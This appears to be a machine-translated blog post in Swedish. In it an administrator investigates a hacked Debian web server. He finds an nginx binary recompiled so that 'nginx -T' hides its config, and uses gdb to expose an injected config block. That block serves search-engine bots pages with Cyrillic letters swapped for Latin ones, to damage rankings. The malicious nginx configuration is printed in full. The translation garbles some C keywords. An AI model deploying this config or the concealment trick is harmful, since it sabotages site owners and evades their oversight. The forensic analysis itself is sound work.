🥇När ‘a’ inte är lika med ‘а’. Spåren av en hackning

En mycket otrevlig händelse inträffade med en av mina bekanta. Men så otrevlig som den var för Mikhail, så underhållande blev den för mig.

Jag måste säga att min vän är helt okej. UNIX-användare: kan själv installera systemet, ställa in mysql, php och göra de enklaste inställningarna. nginx.
Han har ett tiotal hemsidor som handlar om byggverktyg.

En av dessa hemsidor, som handlar om motorsågar, sitter stadigt i toppen av sökmotorerna. Denna hemsida är en icke-kommersiell recension, men någon tycker uppenbarligen att den är ett problem och har börjat attackera den. Ibland DDoS, ibland bruteforce, ibland skriver de olämpliga kommentarer och skickar klagomål till hostingtjänsten och till RKN.
Plötsligt blev allt tyst och denna tystnad visade sig inte vara något gott, eftersom hemsidan började försvinna gradvis från toppositionerna i resultaten.

Detta var en inledning, nu till själva berättelsen från administratören.

Tiden närmade sig sänggående när telefonen ringde: "San, kan du ta en titt på min server? Jag tror att jag har blivit hackad, jag kan inte bevisa det, men jag har haft en känsla av det i tre veckor nu. Kanske är det dags att jag behandlar min paranoia?"

Vi hade ett halvtimmes samtal som kort kan sammanfattas så här:

jordmånen för en hackning var ganska bördig;
hackaren skulle kunna få superanvändarrättigheter;
attacken (om den ägde rum) var riktad just mot denna hemsida;
problemområden har åtgärdats och det behövs bara förstå om det verkligen har skett ett intrång;
hackningen kunde inte påverka hemsidans kod eller databaser.

Angående den sista punkten.

Endast den vita IP:n från fronten är synlig. Mellan backend och front finns det ingen kommunikation förutom http(s), användare/lösenord är olika, de har inte delat nycklar. På de grå adresserna är alla portar förutom 80/443 stängda. De vita IP:n för backend är kända endast av två användare som Mikhail helt litar på.

På fronten är Debian 9 och vid tidpunkten för samtalet är systemet isolerat från världen med en extern brandvägg och avstängt.

"Okej, ge mig tillgång, jag bestämmer mig för att skjuta upp sömnen en timme. Jag ska titta med mina egna ögon."

Här och vidare:

$ grep -F PRETTY_NAME /etc/*releas*
PRETTY_NAME="Debian GNU/Linux 9 (stretch)"
$ `echo $SHELL` --version
GNU bash, version 4.4.12(1)-release (x86_64-pc-linux-gnu)
$ nginx -v
nginx version: nginx/1.10.3
$ gdb --version
GNU gdb (Debian 8.2.1-2) 8.2.1

I jakten på en möjlig hackning

startar jag servern, först i rescue-mode. Monterar diskar, bläddrar igenom auth-loggar, history, systemloggar och så vidare, kontrollerar jag i möjligaste mån skapelsedatum för filer, även om jag förstår att en riktig hackare skulle ha "städat" efter sig, och Misha har redan trampat runt en del medan han själv letade.

Jag startar i normalt läge, utan att direkt förstå vad jag ska leta efter, jag studerar konfigurationerna. Först och främst är jag intresserad av nginx eftersom det, i stort sett, inte finns något annat på frontend.
Konfigurationerna är små, välstrukturerade i ett tiotal filer, jag går igenom dem helt enkelt cat’en efter en. Det verkar vara rent, men man vet aldrig om jag missat något include, jag gör en fullständig uppräkning:

$ nginx -T
nginx: konfigurationsfilen /usr/local/etc/nginx/nginx.conf har korrekt syntax
nginx: konfigurationsfilen /usr/local/etc/nginx/nginx.conf testet lyckades

Jag förstod inte: "Var är uppräkningen?"

$ nginx -V
nginx version: nginx/1.10.3
TLS SNI-stöd aktiverat
konfigurationsargument: --with-cc-opt='-g -O2' --with-ld-opt='-Wl,-z,relro -Wl,-z,now' --prefix=/usr/share/nginx --conf-path=/etc/nginx/nginx.conf --http-log-path=/var/log/nginx/access.log --error-log-path=/var/log/nginx/error.log --lock-path=/var/lock/nginx.lock --pid-path=/run/nginx.pid --modules-path=/usr/lib/nginx/modules --http-client-body-temp-path=/var/lib/nginx/body --http-fastcgi-temp-path=/var/lib/nginx/fastcgi --http-proxy-temp-path=/var/lib/nginx/proxy --http-scgi-temp-path=/var/lib/nginx/scgi --http-uwsgi-temp-path=/var/lib/nginx/uwsgi --with-debug --with-pcre-jit --with-ipv6 --with-http_ssl_module --with-http_stub_status_module --with-http_realip_module --with-http_auth_request_module --with-http_v2_module --with-http_dav_module --with-http_slice_module --with-threads --with-http_addition_module --with-http_gunzip_module --with-http_gzip_static_module --with-http_sub_module --with-stream=dynamic --with-stream_ssl_module --with-mail=dynamic --with-mail_ssl_module

Till frågan om uppräkningen läggs det till en annan: "Varför så gammal version av nginx?"

Dessutom anser systemet att versionen är mer aktuell:

$ dpkg -l nginx | grep "[n]ginx"
ii  nginx          1.14.2-2+deb10u1 all          liten, kraftfull, skalbar webb/proxy server

Jag ringer:
— Misha, varför har du omkompilerat nginx?
— Sluta nu, jag vet till och med inte hur man gör det!
— Ok, tja, sov då…

Nginx uppenbarligen omkompilerad och output från uppräkningen med "-T" döljs inte utan anledning. Ingen tvekan om ett intrång längre, och detta kan bara accepteras, och (eftersom Misha ändå bytte server till en ny) betrakta problemet som löst.

Och verkligen, om någon har fått rättigheter rootdå är det meningsfullt att bara system reinstall, och att leta efter vad som har gått fel är meningslöst, men den här gången segrade nyfikenheten över sömnen. Hur ska jag ta reda på vad de ville dölja för oss?

Vi ska försöka spåra:

$ strace nginx -T

Vi granskar, i spårningen saknas tydligt rader som

write(1, "/etc/nginx/nginx.conf", 21/etc/nginx/nginx.conf)   = 21
write(1, "...
write(1, "n", 1

Av ren nyfikenhet jämför vi outputen

$ strace nginx -T 2>&1 | wc -l
264
$ strace nginx -t 2>&1 | wc -l
264

Jag tror att en del av koden /src/core/nginx.c

            fall 't':
                ngx_test_config = 1;
                bryt;

            fall 'T':
                ngx_test_config = 1;
                ngx_dump_config = 1;
                bryt;

har omvandlats till:

            fall 't':
                ngx_test_config = 1;
                bryt;

            fall 'T':
                ngx_test_config = 1;
                \/\/ngx_dump_config = 1;
                bryt;

eller

            fall 't':
                ngx_test_config = 1;
                bryt;

            fall 'T':
                ngx_test_config = 1;
                ngx_dump_config = 0;
                bryt;

därför visas inte listan för «-T».

Men hur kan vi se vår konfiguration?

Om min tanke är korrekt och problemet bara rör variabeln ngx_dump_config ska vi försöka ställa in den med hjälp av gdb, lyckligtvis finns nyckeln --with-cc-opt -g och vi hoppas att optimeringen -O2 inte kommer att skada. Med tanke på att jag inte vet hur ngx_dump_config kan ha bearbetats i fall ‘T’:, ska vi inte kalla på detta block, utan sätta den använda fall ‘t’:

Varför kan vi använda ‘-t’ på samma sätt som ‘-T’?Behandlingen av blocket if(ngx_dump_config) sker inuti if(ngx_test_config):

    if (ngx_test_config) {
        if (!ngx_quiet_mode) {
            ngx_log_stderr(0, "konfigurationsfil %s testet är framgångsrikt",
                           cycle->conf_file.data);
        }

        if (ngx_dump_config) {
            cd = cycle->config_dump.elts;

            for (i = 0; i < cycle->config_dump.nelts; i++) {

                ngx_write_stdout("# konfigurationsfil ");
                (void) ngx_write_fd(ngx_stdout, cd[i].name.data,
                                    cd[i].name.len);
                ngx_write_stdout(":" NGX_LINEFEED);

                b = cd[i].buffer;

                (void) ngx_write_fd(ngx_stdout, b->pos, b->last - b->pos);
                ngx_write_stdout(NGX_LINEFEED);
            }
        }

        return 0;
    }

Självklart, om koden har ändrats i denna del, och inte i fall ‘T’:, så passar inte min metod.

Test nginx.confEfter att ha löst problemet praktiskt har det konstaterats att det minimi konfiguration krävs för att skadlig kod ska fungera nginx av:

events {
}

http {
	include \/etc\/nginx\/sites-enabled\/*;
}

Det kommer vi att använda för korthet i artikeln.

Vi startar felsökaren

$ gdb --silent --args nginx -t
Reading symbols from nginx...done.
(gdb) break main
Breakpoint 1 at 0x1f390: file src/core/nginx.c, line 188.
(gdb) run
Starting program: nginx -t
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Breakpoint 1, main (argc=2, argv=0x7fffffffebc8) at src/core/nginx.c:188
188     src/core/nginx.c: No such file or directory.
(gdb) print ngx_dump_config=1
$1 = 1
(gdb) continue
Continuing.
nginx: the configuration file /etc/nginx/nginx.conf syntax is ok
nginx: configuration file /etc/nginx/nginx.conf test is successful
# configuration file /etc/nginx/nginx.conf:
events {
}

http {
map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

        include /etc/nginx/sites-enabled/*;
}
# configuration file /etc/nginx/sites-enabled/default:

[Inferior 1 (process 32581) exited normally]
(gdb) quit

Steg för steg:

sätter en brytpunkt i funktionen main()
startar programmet
ändrar värdet på variabeln som bestämmer konfigurationsutskriften ngx_dump_config=1
fortsätter/avslutar programmet

Som vi ser skiljer sig den verkliga konfigurationen från vår, vi extraherar det parasitiska avsnittet:

map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

Låt oss titta på vad som händer här i ordning.

Definieras User-Agent’y’ yandex/google:

map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

Exkluderas tjänstesidor wordpress:

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

Och för dem som omfattas av båda ovanstående villkor

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

i texten html-sidan ändras ’о’ till ’o’ och ’а’ till ’a’:

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

Precis så, det enda är att ’а’ != ’a’ liksom ’о’ != ’o’:

På så sätt får sökmotorns robotar istället för en normal 100%-ig kyrillisk text modifierad skräp blandat med latinska ’a’ och ’o’. Jag kan inte spekulera i hur detta påverkar SEO, men tveksamt att en sådan bokstavsmix positivt skulle påverka placeringarna i resultatlistorna.